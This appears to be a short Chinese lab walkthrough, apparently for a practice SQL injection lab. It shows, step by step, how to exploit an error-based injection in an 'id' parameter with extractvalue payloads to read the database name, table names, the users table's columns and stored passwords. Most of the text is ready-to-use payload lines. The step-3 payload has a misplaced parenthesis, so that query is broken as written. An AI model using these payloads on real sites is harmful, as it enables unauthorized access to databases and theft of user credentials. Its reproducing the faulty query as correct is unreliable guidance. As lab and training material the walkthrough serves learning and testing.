1、判断注入类型
?id=1(没有正常显示)提示了一串字符
?id=1'(出现了错误提示)
根据页面的提示可以知道这是单引号'的闭合方式,并且是报错注入
2、查询数据库名
?id=1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
3、查询表名(看到敏感表users)
?id=1' and (extractvalue(1,concat(0x7e,(select table_name) from information_schema.tables where table_schema='security'),0x7e))) --+
4、查询users表中字段的信息
?id=1' and (extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x7e))) --+
?id=1' and (extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x7e))) --+
5、查字段password中的值
可能是查询的语句不适合,使用下面的payload,可以查询,如果不加上limit 0,1,查询会超过一行,就会报错limit 表示从0+1个位置开始,显示第一个数据
?id=1' and (extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e))) --+
?id=1' and (extractvalue(1,concat(0x7e,(select password from users limit 1,1),0x7e))) --+
可以根据修改第一个参数的值来显示密码,同理,用户名也一样